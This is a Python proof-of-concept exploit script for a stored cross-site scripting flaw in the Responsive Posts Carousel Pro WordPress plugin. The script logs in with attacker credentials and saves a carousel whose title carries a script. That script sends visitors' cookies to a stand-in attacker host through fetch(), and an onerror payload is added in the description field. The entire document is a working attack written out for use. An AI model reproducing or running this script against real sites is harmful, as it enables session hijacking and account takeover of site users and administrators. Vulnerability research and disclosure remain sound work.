CVE-2025-68548

import requests import re # CVE-2025-68548 PoC - Stored XSS in Responsive Posts Carousel Pro <= 15.2 # Target: WordPress site with Responsive Posts Carousel Pro plugin installed TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" def get_nonce(login_resp): """Extract WordPress nonce from response""" match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', login_resp.text) return match.group(1) if match else None def exploit_stored_xss(): """Exploit CVE-2025-68548: Stored XSS in Responsive Posts Carousel Pro""" session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Add new carousel with XSS payload add_carousel_url = f"{TARGET_URL}/wp-admin/admin.php?page=responsive-posts-carousel-pro" # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' carousel_data = { 'action': 'rpcp_save_carousel', 'title': f'Carousel - Test {xss_payload}', 'description': f'<img src=x onerror="alert(document.cookie)">', 'posts_count': '5', '_wpnonce': get_nonce(resp) } resp = session.post(add_carousel_url, data=carousel_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] Visit carousel page to trigger XSS") return True if __name__ == "__main__": exploit_stored_xss()

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